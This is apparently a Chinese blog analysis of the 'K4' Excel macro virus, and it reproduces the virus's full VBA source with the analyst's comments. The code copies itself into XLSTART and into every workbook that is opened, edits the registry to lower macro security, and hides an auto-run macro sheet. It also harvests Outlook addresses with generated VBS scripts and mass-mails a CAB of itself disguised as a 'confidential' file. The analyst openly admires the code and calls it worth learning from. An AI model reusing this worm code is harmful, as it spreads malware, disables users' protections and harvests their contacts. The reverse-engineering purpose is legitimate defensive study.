新型K4宏病毒代码分析报告
最近据说是新型的K4宏病毒到处肆虐，感染了办公室不少.xls文件，杀又杀不干净。对此互比较感兴趣，花了点时间跟踪了一下代码，并作了简要注释，基本了解该病毒的行为：
以ToDOLE模块中的代码，在虚拟机XP+Excel2003下跟踪并注释了关键代码：
'病毒行为主过程
Private Sub auto_open()
Application.DisplayAlerts = False
If ThisWorkbook.Path <>Application.StartupPath Then
Application.ScreenUpdating = False
'删除.xls文件里的ThisWorkBook表单，以便写入带毒宏代码;
Call delete_this_wk
'复制带毒宏代码
Call copytoworkbook
'如果当前文件已经感染，则保存。
If Sheets(1).Name <>"Macro1" Then Movemacro4 ThisWorkbook
ThisWorkbook.Save
Application.ScreenUpdating = True
End If
End Sub
'以下过程向ThisWorkbook写入一段激活带毒代码;
Private Sub copytoworkbook()
Const DQUOTE = """"
With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
.InsertLines 1, "Public WithEvents xx As Application"
.InsertLines 2, "Private Sub Workbook_open()"
.InsertLines 3, "Set xx = Application"
.InsertLines 4, "On Error Resume Next"
.InsertLines 5, "Application.DisplayAlerts = False"
.InsertLines 6, "Call do_what"
.InsertLines 7, "End Sub"
.InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
.InsertLines 9, "On Error Resume Next"
.InsertLines 10, "wb.VBProject.References.AddFromGuid _"
.InsertLines 11, "GUID:=" &DQUOTE &"{0002E157-0000-0000-C000-000000000046}" &DQUOTE &", _"
.InsertLines 12, "Major:=5, Minor:=3"
.InsertLines 13, "Application.ScreenUpdating = False"
.InsertLines 14, "Application.DisplayAlerts = False"
.InsertLines 15, "copystart wb"
.InsertLines 16, "Application.ScreenUpdating = True"
.InsertLines 17, "End Sub"
End With
End Sub
'删除临时工作表过程
Private Sub delete_this_wk()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Dim CodeMod As VBIDE.CodeModule
Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents("ThisWorkbook")
Set CodeMod = VBComp.CodeModule
With CodeMod
.DeleteLines 1, .CountOfLines
End With
End Sub
'病毒的主要行为框架
Function do_what()
If ThisWorkbook.Path <>Application.StartupPath Then
'检测并当前打开xls文件时的状态，并初始化一些准备工作。
RestoreAfterOpen
'通过修改注册信任VB项，为下面的感染提供可能性。
Call OpenDoor
'把带毒模块写入Excel的自动启动项目，实现感染传播
Call Microsofthobby
'病毒的主体行为(大致是收集outlook的用户邮件列表并发送到指定邮箱里)
Call ActionJudge
End If
End Function
'把带毒模块'k4.xls'附加进每个打开的xls文件里。
Function copystart(ByVal wb As Workbook)
On Error Resume Next
Dim VBProj1 As VBIDE.VBProject
Dim VBProj2 As VBIDE.VBProject
Set VBProj1 = Workbooks("k4.xls").VBProject
Set VBProj2 = wb.VBProject
'如果已经感染过，就退出
If copymodule("ToDole", VBProj1, VBProj2, False) Then Exit Function
End Function
'把'k4.xls'带毒模块附加进每个打开的xls文件里。
Function copymodule(ModuleName As String, _
FromVBProject As VBIDE.VBProject, _
ToVBProject As VBIDE.VBProject, _
OverwriteExisting As Boolean) As Boolean
On Error Resume Next
Dim VBComp As VBIDE.VBComponent
Dim FName As String
Dim CompName As String
Dim S As String
Dim SlashPos As Long
Dim ExtPos As Long
Dim TempVBComp As VBIDE.VBComponent
If FromVBProject Is Nothing Then
copymodule = False
Exit Function
End If
If Trim(ModuleName) = vbNullString Then
copymodule = False
Exit Function
End If
If ToVBProject Is Nothing Then
copymodule = False
Exit Function
End If
If FromVBProject.Protection = vbext_pp_locked Then
copymodule = False
Exit Function
End If
If ToVBProject.Protection = vbext_pp_locked Then
copymodule = False
Exit Function
End If
On Error Resume Next
Set VBComp = FromVBProject.VBComponents(ModuleName)
If Err.Number <>0 Then
copymodule = False
Exit Function
End If
FName = Environ("Temp") &"\" &ModuleName &".bas"
If OverwriteExisting = True Then
If Dir(FName, vbNormal + vbHidden + vbSystem) <>vbNullString Then
Err.Clear
Kill FName
If Err.Number <>0 Then
copymodule = False
Exit Function
End If
End If
With ToVBProject.VBComponents
.Remove .Item(ModuleName)
End With
Else
Err.Clear
Set VBComp = ToVBProject.VBComponents(ModuleName)
If Err.Number <>0 Then
If Err.Number = 9 Then
Else
copymodule = False
Exit Function
End If
End If
End If
FromVBProject.VBComponents(ModuleName).Export FileName:=FName
SlashPos = InStrRev(FName, "\")
ExtPos = InStrRev(FName, ".")
CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
Set VBComp = Nothing
Set VBComp = ToVBProject.VBComponents(CompName)
If VBComp Is Nothing Then
ToVBProject.VBComponents.Import FileName:=FName
Else
If VBComp.Type = vbext_ct_Document Then
Set TempVBComp = ToVBProject.VBComponents.Import(FName)
With VBComp.CodeModule
.DeleteLines 1, .CountOfLines
S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
.InsertLines 1, S
End With
On Error GoTo 0
ToVBProject.VBComponents.Remove TempVBComp
End If
End If
Kill FName
copymodule = True
End Function
'在Excel的启动目录里保存带毒模块文件k4.xls，导致所有打开的.xls文件都自动附加上这个带毒模块。
Function Microsofthobby()
Dim myfile0 As String
Dim MyFile As String
On Error Resume Next
myfile0 = ThisWorkbook.FullName
MyFile = Application.StartupPath &"\k4.xls"
'如果文件已经存在，则先删除，再保存。
If WorkbookOpen("k4.xls") And ThisWorkbook.Path <>Application.StartupPath Then Workbooks("k4.xls").Close False
Shell Environ$("comspec") &"/c attrib -S -h """&Application.StartupPath &"\K4.XLS""", vbMinimizedFocus
Shell Environ$("comspec") &"/c Del /F /Q """&Application.StartupPath &"\K4.XLS""", vbMinimizedFocus
Shell Environ$("comspec") &"/c RD /S /Q """&Application.StartupPath &"\K4.XLS""", vbMinimizedFocus
If ThisWorkbook.Path <>Application.StartupPath Then
Application.ScreenUpdating = False
ThisWorkbook.IsAddin = True
ThisWorkbook.SaveCopyAs MyFile
ThisWorkbook.IsAddin = False
Application.ScreenUpdating = True
End If
End Function
'修改注册表，降低Excel的宏安全级别，让Excel接受所有VB项目的运行。
Function OpenDoor()
Dim Fso, RK1 As String, RK2 As String, RK3 As String, RK4 As String
Dim KValue1 As Variant, KValue2 As Variant
Dim VS As String
On Error Resume Next
VS = Application.Version
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" &VS &"\Excel\Security\AccessVBOM"
RK2 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" &VS &"\Excel\Security\Level"
RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" &VS &"\Excel\Security\AccessVBOM"
RK4 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" &VS &"\Excel\Security\Level"
KValue1 = 1
KValue2 = 1
Call WReg(RK1, KValue1, "REG_DWORD")
Call WReg(RK2, KValue2, "REG_DWORD")
Call WReg(RK3, KValue1, "REG_DWORD")
Call WReg(RK4, KValue2, "REG_DWORD")
End Function
'子函数：实现注册表的写入功能。
Sub WReg(strkey As String, Value As Variant, ValueType As String)
Dim oWshell
Set oWshell = CreateObject("WScript.Shell")
If ValueType = ""Then
oWshell.RegWrite strkey, Value
Else
oWshell.RegWrite strkey, Value, ValueType
End If
Set oWshell = Nothing
End Sub
'宏病毒自我复制的一个过程。创建一个隐藏的"Macro1"工作表，并写入一些内容，备用。
Private Sub Movemacro4(ByVal wb As Workbook)
On Error Resume Next
Dim sht As Object
wb.Sheets(1).Select
Sheets.Add Type:=xlExcel4MacroSheet
ActiveSheet.Name = "Macro1"
Range("A2").Select
ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"
Range("A3").Select
ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""" &Application.UserName &"""))=4)"
Range("A4").Select
ActiveCell.FormulaR1C1 = "=ALERT(""禁用宏，关闭 "&Chr(10) &Now &Chr(10) &"Please Enable Macro!"",3)"
Range("A5").Select
ActiveCell.FormulaR1C1 = "=FILE.CLOSE(FALSE)"
Range("A6").Select
ActiveCell.FormulaR1C1 = "=END.IF()"
Range("A7").Select
ActiveCell.FormulaR1C1 = "=RETURN()"
For Each sht In wb.Sheets
wb.Names.Add sht.Name &"!Auto_Activate", "=Macro1!$A$2", False
Next
wb.Excel4MacroSheets(1).Visible = xlSheetVeryHidden
End Sub
'尝试打开工作簿函数
Private Function WorkbookOpen(WorkBookName As String) As Boolean
WorkbookOpen = False
On Error GoTo WorkBookNotOpen
If Len(Application.Workbooks(WorkBookName).Name) >0 Then
WorkbookOpen = True
Exit Function
End If
WorkBookNotOpen:
End Function
'病毒主体行为集中在此过程，是个通过收集和发送邮件的方式把带毒文件传播的过程。
Private Sub ActionJudge()
Const T1 As Date = "10:00:00"
Const T2 As Date = "11:00:00"
Const T3 As Date = "14:00:00"
Const T4 As Date = "15:00:00"
Dim SentTime As Date, WshShell
'通过强大的WScript.Shell对象进行操作。
Set WshShell = CreateObject("WScript.Shell")
'判断是安装有Outlook邮件程序，如果没有安装，病毒行为中止。
If Not InStr(UCase(WshShell.RegRead("HKEY_CLASSES_ROOT\mailto\shell\open\command\")), "OUTLOOK.EXE") >0 Then Exit Sub
'判断当前时间，在早上11-12点时，则读取已经搜索好的地址文件
If Time >= T1 And Time <= T2 Or Time >= T3 And Time <= T4 Then
'读取已经收集好的邮件地址文件标志，如果不符合条件，则退出
If ReadOut("D:\Collected_Address:frag1.txt") = "1" Then
Exit Sub
'否则，将搜索里面的内容
Else
CreateFile "1", "D:\Collected_Address:frag1.txt"
search_in_OL
End If
'如果不在指定的时间段，则执行以下行为：
Else
'判断有没有安装OutLook，如果没有安装，则结束代码。
If Not if_outlook_open Then Exit Sub
'再判断一个特定时间段，
If Time >T2 And Time <= DateAdd("n", 10, T2) Or Time >T4 And Time <= DateAdd("n", 10, T4) Then
Exit Sub
Else
SentTime = DateAdd("n", -21, Now)
On Error GoTo timeError
SentTime = CDate(ReadOut("D:\Collected_Address:frag2.txt"))
timeError:
If Now<dateadd("n", p="" then<="" readout(?d:\collected_address\log.txt?)="" or="" senttime)="" 20,="">
Exit Sub
Else
'创建一个文件文件，保存导出的邮件地址文件
CreateFile "", "D:\Collected_Address:frag1.txt"
CreateFile Now, "D:\Collected_Address:frag2.txt"
'以邮件的形式将这些收集到的邮件地址打包并发送到指定的地址，病毒的主体行为目的在此!!
'即把带毒的vbs和xls文件打包好成cab文件，然后指发送到搜集到的Outlook里的用户列表地址中去，
'以此实现网络传播……
CreatCab_SendMail
End If
End If
End If
End Sub
'以下过程通过创建Wscript对象执行一段在后台搜索Outlook用户邮件地址列表的vbs脚本。
'奶奶的，写得不错，值得借鉴。
Private Sub search_in_OL()
Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, fs As Object, WshShell As Object
On Error Resume Next
'启动强大的scripting.filesystemobject对象搜索文件
Set fs = CreateObject("scripting.filesystemobject")
Set WshShell = CreateObject("WScript.Shell")
'创建E:\KK文件夹，临时保存等一下用到的 "<.xls文件名>_clear.vbs"
If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), "", "_"), ".", "_")
AddVbsFile_clear = "E:\KK\" &AttName &"_clear.vbs"
i = FreeFile
'准备在该.vbs文件中写入代码。
'大概意思：激活当前Outlook到最前窗口，并发送一系列按键(未测试这些按键对Outlook操作了什么)。
Open AddVbsFile_clear For Output Access Write As #i
Print #i, "On error Resume Next"
Print #i, "Dim wsh, tle, T0, i"
Print #i, " T0 = Timer"
Print #i, " Set wsh=createobject(""" &"wscript.shell""" &")"
Print #i, " tle = """&"Microsoft Office Outlook""" &""
Print #i, "For i = 1 To 1000"
Print #i, " If Timer - T0 >60 Then Exit For"
Print #i, " Call Refresh()"
Print #i, " wscript.sleep 05"
Print #i, " wsh.sendKeys """&"%a""" &""
Print #i, " wscript.sleep 05"
Print #i, " wsh.sendKeys """&"{TAB}{TAB}""" &""
Print #i, " wscript.sleep 05"
Print #i, " wsh.sendKeys """&"{Enter}""" &""
Print #i, "Next"
Print #i, "Set wsh = Nothing"
Print #i, "wscript.quit"
Print #i, "Sub Refresh()"
Print #i, "Do Until wsh.AppActivate(CStr(tle)) = True"
Print #i, " If Timer - T0 >60 Then Exit Sub"
Print #i, "Loop"
Print #i, " wscript.sleep 05"
Print #i, " wsh.SendKeys """&"%{F4}""" &""
Print #i, "End Sub"
Close (i)
'再生成一个"<.xls文件名>_Search.vbs"文件，并写入代码
'代码功能是在后台收集Outlook的好友邮件列表。看来作者对Outlook的用户列表文件内容研究很深入。
'奶奶的，居然还调用了“正则表达式”来提取邮件地址，真有两下子。
AddVbsFile_search = "E:\KK\" &AttName &"_Search.vbs"
i = FreeFile
Open AddVbsFile_search For Output Access Write As #i
Print #i, "On error Resume Next"
Print #i, "Const olFolderInbox = 6"
Print #i, "Dim conbinded_address,WshShell,sh,ts"
Print #i, "Set WshShell=WScript.CreateObject(""" &"WScript.Shell""" &")"
Print #i, "Set objOutlook = CreateObject(""" &"Outlook.Application""" &")"
Print #i, "Set objNamespace = objOutlook.GetNamespace(""" &"MAPI""" &")"
Print #i, "Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox)"
Print #i, "Set TargetFolder = objFolder"
Print #i, "conbinded_address = """&""""&""
Print #i, "Set colItems = TargetFolder.Items"
Print #i, "wscript.sleep 300000"
Print #i, "WshSHell.Run (""" &"wscript.exe "&AddVbsFile_clear &""""&"), vbHide, False"
Print #i, "ts = Timer"
Print #i, "For Each objMessage in colItems"
Print #i, " If Timer - ts >55 then exit For"
Print #i, " conbinded_address = conbinded_address &valid_address(objMessage.Body)"
Print #i, "Next"
Print #i, "add_text conbinded_address, 8"
Print #i, "add_text all_non_same(ReadAllTextFile), 2"
Print #i, "WScript.Quit"
Print #i, ""
Print #i, "Private Function valid_address(source_data)"
Print #i, " Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr"
Print #i, " Dim regex, matchs, ss, arr()"
Print #i, " Set oDict = CreateObject(""" &"Scripting.Dictionary""" &")"
Print #i, " Set regex = CreateObject(""" &"VBSCRIPT.REGEXP""" &")"
Print #i, ""
Print #i, " regex.Global = True"
'这里学习啦，提取邮件地址的正则!
Print #i, " regex.Pattern = """&"\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*""" &""
Print #i, " Set matchs = regex.Execute(source_data)"
Print #i, " ReDim trimed_arr(matchs.Count - 1)"
Print #i, " For i = Lbound(trimed_arr) To Ubound(trimed_arr)"
Print #i, " trimed_arr(i) = matchs.Item(i) &vbCrLf"
Print #i, " Next"
Print #i, ""
Print #i, " For i = LBound(trimed_arr) To UBound(trimed_arr)"
Print #i, " oDict(trimed_arr(i)) = """&""""&""
Print #i, " Next"
Print #i, ""
Print #i, " If oDict.Count >0 Then"
Print #i, " nonsame_arr = oDict.keys"
Print #i, " For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
Print #i, " valid_address = valid_address &nonsame_arr(i)"
Print #i, " Next"
Print #i, " End If"
Print #i, " Set oDict = Nothing"
Print #i, "End Function"
Print #i, ""
'把搜索到的邮件地址字符串保存到以下新建的D:\Collected_Address\log.txt文件里去。
Print #i, "Private Sub add_text(inputed_string, input_frag)"
Print #i, " Dim objFSO, logfile, logtext, log_path, log_folder"
Print #i, " log_path = """&"D:\Collected_Address""" &""
Print #i, " Set objFSO = CreateObject(""" &"Scripting.FileSystemObject""" &")"
Print #i, " On Error resume next"
Print #i, " Set log_folder = objFSO.CreateFolder(log_path)"
Print #i, ""
Print #i, " If objFSO.FileExists(log_path &"""&"\log.txt""" &") = 0 Then"
Print #i, " Set logfile = objFSO.CreateTextFile(log_path &"""&"\log.txt""" &", True)"
Print #i, " End If"
Print #i, " Set log_folder = Nothing"
Print #i, " Set logfile = Nothing"
Print #i, ""
Print #i, " Select Case input_frag"
Print #i, " Case 8"
Print #i, " Set logtext = objFSO.OpenTextFile(log_path &"""&"\log.txt""" &", 8, True, -1)"
Print #i, " logtext.Write inputed_string"
Print #i, " logtext.Close"
Print #i, " Case 2"
Print #i, " Set logtext = objFSO.OpenTextFile(log_path &"""&"\log.txt""" &", 2, True, -1)"
Print #i, " logtext.Write inputed_string"
Print #i, " logtext.Close"
Print #i, " End Select"
Print #i, " set objFSO = nothing"
Print #i, "End Sub"
Print #i, ""
Print #i, "Private Function ReadAllTextFile()"
Print #i, " Dim objFSO, FileName, MyFile"
Print #i, " FileName = """&"D:\Collected_Address\log.txt""" &""
Print #i, " Set objFSO = CreateObject(""" &"Scripting.FileSystemObject""" &")"
Print #i, " Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)"
Print #i, " If MyFile.AtEndOfStream Then"
Print #i, " ReadAllTextFile = """&""""&""
Print #i, " Else"
Print #i, " ReadAllTextFile = MyFile.ReadAll"
Print #i, " End If"
Print #i, "set objFSO = nothing"
Print #i, "End Function"
Print #i, ""
Print #i, "Private Function all_non_same(source_data)"
Print #i, " Dim oDict, i, trimed_arr, nonsame_arr"
Print #i, " all_non_same = """&""""&""
Print #i, " Set oDict = CreateObject(""" &"Scripting.Dictionary""" &")"
Print #i, ""
Print #i, " trimed_arr = Split(source_data, vbCrLf)"
Print #i, ""
Print #i, " For i = LBound(trimed_arr) To UBound(trimed_arr)"
Print #i, " oDict(trimed_arr(i)) = """&""""&""
Print #i, " Next"
Print #i, ""
Print #i, " If oDict.Count >0 Then"
Print #i, " nonsame_arr = oDict.keys"
Print #i, " For i = LBound(nonsame_arr) To UBound(nonsame_arr)"
Print #i, " all_non_same = all_non_same &nonsame_arr(i) &vbCrLf"
Print #i, " Next"
Print #i, " End If"
Print #i, " Set oDict = Nothing"
Print #i, "End Function"
Close (i)
Application.WindowState = xlMaximized
'激活以上代码，当然是vbHide的形式
WshShell.Run ("wscript.exe "&AddVbsFile_search), vbHide, False
Set WshShell = Nothing
End Sub
'以下过程是把 带毒模块和一个vbs脚本文 件通过makecab命令打包保存到 "E:\SORCE\<文件名>.cab"文件里。
'NND，这个过程写得也相当巧妙，值得学习!
Private Sub CreatCab_SendMail()
Dim i As Integer, AttName As String, AddVbsFile As String, AddListFile As String, Address_list As String
Dim fs As Object, WshShell As Object
Address_list = get_ten_address
Set WshShell = CreateObject("WScript.Shell")
Set fs = CreateObject("scripting.filesystemobject")
If fs.Folderexists("E:\SORCE") = False Then fs.CreateFolder "E:\SORCE"
AttName = Replace(Replace(Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4), "", "_"), ".", "_")
mail_sub = "*" &AttName &"*Message*"
AddVbsFile = "E:\sorce\" &AttName &"_Key.vbs"
i = FreeFile
Open AddVbsFile For Output Access Write As #i
Print #i, "Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route"
Print #i, "On error Resume Next"
Print #i, "Set sh=WScript.CreateObject(""" &"shell.application""" &")"
Print #i, "sh.MinimizeAll"
Print #i, "Set sh = Nothing"
Print #i, "Set Fso = CreateObject(""" &"Scripting.FileSystemObject""" &")"
Print #i, "Set WshShell = WScript.CreateObject(""" &"WScript.Shell""" &")"
Print #i, "If Fso.Folderexists(""" &"E:\KK""" &") = False Then Fso.CreateFolder """&"E:\KK"""
Print #i, "Fso.CopyFile _"
Print #i, "WshShell.CurrentDirectory &"""&"\" &AttName &"*.CAB""" &"," &""&"""E:\KK\""" &", True"
Print #i, "For Each Atta_xls In ListDir(""" &"E:\KK""" &")"
Print #i, " WshShell.Run """&"expand """&"&Atta_xls &"""&"-F:" &AttName &".xls E:\KK""" &", 0, true"
Print #i, "Next"
Print #i, "If Fso.FileExists(""" &"E:\KK\" &AttName &".xls""" &") = 0 then"
Print #i, " route = WshShell.CurrentDirectory &"""&"\" &AttName &".xls"""
Print #i, " if Fso.FileExists(WshShell.CurrentDirectory &"""&"\" &AttName &".xls""" &")=0 then"
Print #i, " route = InputBox(""" &"Warning! """&"&Chr(10) &"""&"You are going to open a confidential file.""" &"&Chr(10) _"
Print #i, " &"""&"Please input the complete file path.""" &"&Chr(10) &"""&"ex. C:\parth\confidential_file.xls""" &", _"
Print #i, " """&"Open a File""" &", """&"Please Input the Complete File Path""" &", 10000, 8500)"
Print #i, " End if"
Print #i, "else"
Print #i, " route = """&"E:\KK\" &AttName &".xls"""
Print #i, "End If"
Print #i, " set oexcel=createobject(""" &"excel.application""" &")"
Print #i, " set owb=oexcel.workbooks.open(route)"
Print #i, " oExcel.Visible = True"
Print #i, "Set oExcel = Nothing"
Print #i, "Set oWb = Nothing"
Print #i, "Set WshShell = Nothing"
Print #i, "Set Fso = Nothing"
Print #i, "WScript.Quit"
Print #i, "Private Function ListDir (ByVal Path)"
Print #i, " Dim Filter, a, n, Folder, Files, File"
Print #i, " ReDim a(10)"
Print #i, " n = 0"
Print #i, " Set Folder = fso.GetFolder(Path)"
Print #i, " Set Files = Folder.Files"
Print #i, " For Each File In Files"
Print #i, " If left(File.Name," &Len(AttName) &") = """&AttName &"""and right(File.Name,3) = """&"CAB""" &"Then"
Print #i, " If n >UBound(a) Then ReDim Preserve a(n*2)"
Print #i, " a(n) = File.Path"
Print #i, " n = n + 1"
Print #i, " End If"
Print #i, " Next"
Print #i, " ReDim Preserve a(n-1)"
Print #i, " ListDir = a"
Print #i, "End Function"
Close (i)
AddListFile = ThisWorkbook.Path &"\TEST.txt"
i = FreeFile
Open AddListFile For Output Access Write As #i
Print #i, "E:\sorce\" &AttName &"_Key.vbs"
Print #i, "E:\sorce\" &AttName &".xls"
Close (i)
Application.ScreenUpdating = False
RestoreBeforeSend
ThisWorkbook.SaveCopyAs "E:\sorce\" &AttName &".xls"
RestoreAfterOpen
c4$ = CurDir()
ChDrive Left(ThisWorkbook.Path, 3) '"C:\"
ChDir ThisWorkbook.Path
'隐藏打包带病文件
WshShell.Run Environ$("comspec") &"/c makecab /F """&ThisWorkbook.Path &"\TEST.TXT""" &"/D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../" &AttName &".CAB", vbHide, False
Do Until fs.FileExists(ThisWorkbook.Path &"\TEST.txt") _
And fs.FileExists(ThisWorkbook.Path &"\setup.rpt") And fs.FileExists(ThisWorkbook.Path &"\setup.inf") _
And fs.FileExists(ThisWorkbook.Path &"\" &AttName &".CAB")
DoEvents
Loop
WshShell.Run Environ$("comspec") &"/c RD /S /Q """&ThisWorkbook.Path &"\disk1""", vbHide, False
'俗话说，偷吃要抹嘴啊~，删除那些临时文件。
WshShell.Run Environ$("comspec") &"/c Del /F /Q """&ThisWorkbook.Path &"\TEST.txt""", vbHide, False
WshShell.Run Environ$("comspec") &"/c Del /F /Q """&ThisWorkbook.Path &"\setup.rpt""", vbHide, False
WshShell.Run Environ$("comspec") &"/c Del /F /Q """&ThisWorkbook.Path &"\setup.inf""", vbHide, False
WshShell.Run Environ$("comspec") &"/c RD /S /Q E:\sorce", vbHide, False
If fs.Folderexists("E:\KK") = False Then fs.CreateFolder "E:\KK"
WshShell.Run Environ$("comspec") &"/c MOVE /Y "&AttName &".CAB E:\KK""", vbHide, False
ChDir c4$
Call Massive_SendMail(Address_list, AttName, "Dear all," &vbCrLf &AttName &vbCrLf &"FYI", _
"", "E:\KK\" &AttName &".CAB")
WshShell.Run Environ$("comspec") &"/c RD /S /Q E:\KK", vbHide, False
Set WshShell = Nothing
Application.ScreenUpdating = True
End Sub
'群发邮件过程:这个过程太有趣了，如果真的被运用了，你一定会被惊呆!!!
'居然是通过激活当前正在运行的Outlook，然后模拟按键进行群发邮件，这个过程让你感到：你被远程控制了!!
Private Sub Massive_SendMail(Email_Address$, Subject$, Body$, CC_email_add$, Attachment$)
Dim objOL As Object
Dim itmNewMail As Object
If Not if_outlook_open Then Exit Sub
Set objOL = CreateObject("Outlook.Application")
Set itmNewMail = objOL.CreateItem(olMailItem)
With itmNewMail
.Subject = Subject
.Body = Body
.To = Email_Address
.CC = CC_email_add
.Attachments.Add Attachment
.DeleteAfterSubmit = True
End With
On Error GoTo continue
SendEmail:
itmNewMail.display
Debug.Print "setforth "
DoEvents
DoEvents
DoEvents
SendKeys "%s", Wait:=True
DoEvents
GoTo SendEmail
continue:
Set objOL = Nothing
Set itmNewMail = Nothing
End Sub
'以下函数通过读取进程列表，判断是否有Outlook运行。
Private Function if_outlook_open() As Boolean
Set objs = GetObject("WinMgmts:").InstancesOf("Win32_Process")
if_outlook_open = False
For Each obj In objs
If InStr(obj.Description, "OUTLOOK") >0 Then
if_outlook_open = True
Exit For
End If
Next
End Function
'生成一随机数，不感兴趣。
Private Function RadomNine(length As Integer) As String
Dim jj As Integer, k As Integer, i As Integer
RadomNine = ""
If length <= 0 Then Exit Function
If length <= 10 Then
For i = 1 To length
RadomNine = RadomNine &"$$" &i
Next i
Exit Function
End If
jj = length / 10
Randomize
For i = 1 To 10
k = Int(Rnd * (jj * i - m - 1)) + 1
If m + k <>1 Then RadomNine = RadomNine &"$$" &m + k
m = m + k
Next
End Function
'从D:\Collected_Address\log.txt文件中读取已经收集好的邮件地址，用于群发。
Private Function get_ten_address() As String
Dim singleAddress_arr, krr, i As Integer
get_ten_address = ""
singleAddress_arr = Split(ReadOut("D:\Collected_Address\log.txt"), vbCrLf)
krr = Split(RadomNine(UBound(singleAddress_arr) - LBound(singleAddress_arr) + 1), "$$")
For i = 1 To UBound(krr)
get_ten_address = get_ten_address &";"&singleAddress_arr(CInt(krr(i)) - 1)
Next i
End Function
'调用FSO对象读取指定文件的属性
Private Function ReadOut(FullPath) As String
On Error Resume Next
Dim Fso, FileText
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
Set FileText = Fso.OpenTextFile(FullPath, 1, False, -1)
ReadOut = FileText.ReadAll
FileText.Close
End Function
'自定义一个创建文件过程，还带有标志呢，备用。
Private Sub CreateFile(FragMark, pathf)
On Error Resume Next
Dim Fso, FileText
'这是干嘛呢，"scRiPTinG.fiLEsysTeMoBjEcT"写得乱七八糟的，不就是Script.FileSystemObject对象嘛。
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
If Fso.Folderexists(Left(pathf, Len(pathf) - 10)) = False Then Fso.CreateFolder Left(pathf, Len(pathf) - 10)
If Fso.FileExists(pathf) Then
Set FileText = Fso.OpenTextFile(pathf, 2, False, -1)
FileText.Write FragMark
FileText.Close
Else
Set FileText = Fso.OpenTextFile(pathf, 2, True, -1)
FileText.Write FragMark
FileText.Close
End If
End Sub
Private Sub RestoreBeforeSend()
Dim aa As Name, i_row As Integer, i_col As Integer
Dim sht As Object
Application.ScreenUpdating = False
Application.DisplayAlerts = False
On Error Resume Next
'以下清除在感染前写入的一些临时内容，出于隐蔽。
'历遍当前工作簿，如果隐藏代码段 Auto_Activate 的话，删除!!不留痕迹。
For Each aa In ThisWorkbook.Names
aa.Visible = True
If Split(aa.Name, "!")(1) = "Auto_Activate" Then aa.Delete
Next
'历遍当前工作表，如果有一个叫"Macro1"的话，删除!!不留痕迹。
For Each sht In ThisWorkbook.Sheets
If sht.Name = "Macro1" Then
sht.Visible = xlSheetVisible
sht.Delete
End If
Next
Sheets(1).Select
Sheets.Add
For Each sht In ThisWorkbook.Sheets
If sht.Name <>Sheets(1).Name Then sht.Visible = xlSheetVeryHidden
Next
'以下在第2个工作表里的随机单元格里写入一些内容：
'提示新用户去执行vbs文件来解琐文件，目的是忽悠用户来激活宏病毒。
i_row = Int((15 * Rnd) + 1)
i_col = Int((6 * Rnd) + 1)
Cells(i_row, i_col) = "** CONFIDENTIAL! ** "
Cells(i_row + 2, i_col) = "Use "&Chr(34) &Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) &"_key.vbs" &Chr(34) &"To Open This File."
Cells(i_row + 3, i_col) = "请用 "&Chr(34) &Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) &"_key.vbs" &Chr(34) &"解锁此文件."
With Range(Cells(i_row, i_col), Cells(i_row + 2, i_col))
.Font.Bold = True
.Font.ColorIndex = 3
End With
Application.ScreenUpdating = True
End Sub
'删除当前表中"A1:F15"区域所有含有带"CONFIDENTIAL"字样的内容。
Private Function RestoreAfterOpen()
Dim sht, del_sht, rng, del_frag As Boolean
On Error Resume Next
del_sht = ActiveSheet.Name
Application.ScreenUpdating = False
Application.DisplayAlerts = False
For Each sht In ThisWorkbook.Sheets
If sht.Name <>"Macro1" Then sht.Visible = xlSheetVisible
Next
For Each rng In Sheets(del_sht).Range("A1:F15")
If InStr(rng.Value, "CONFIDENTIAL") >0 Then
del_frag = True
Exit For
End If
Next
If del_frag = True Then Sheets(del_sht).Delete
Application.ScreenUpdating = True
End Function
===================
小结：
这个被称为“K4”的宏病毒，主要行为是一个自我复制和传播的过程，对Excel文件本身的系统没有明显的破坏行为。
宏病毒通过修改注册表，降低Excel的宏安全级别，使敏感代码获得运行权利。如果本宏病毒未能被执行，首次打开带毒.xls文件会提示“禁用宏，关闭。Please enable Macro”信息。
宏病毒被激活后会复制一个副本k4.xls到Excel的启动目录里：
C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART
保证个新建和打开的Excel文件都会自动附加一个k4带毒模块。实现本机感染。也就是说，如果这个目录下有一个该死的k4.xls，那说明你的机子中毒了。
带毒.xls文件在被激活时，会通过系列细腻的行为，在指定的时间里在后台收集Outlook里的用户地址，又在指定的时间里打包并把带毒文件通过Outlook发送到搜集到的邮件地址里，实现网络传播。
病毒有不少可以借鉴的地方，多处利用VBS代码进行文件操作，里面的代码写得不错，还用上了“正则表达式”，哇塞，偶一直想学啊。
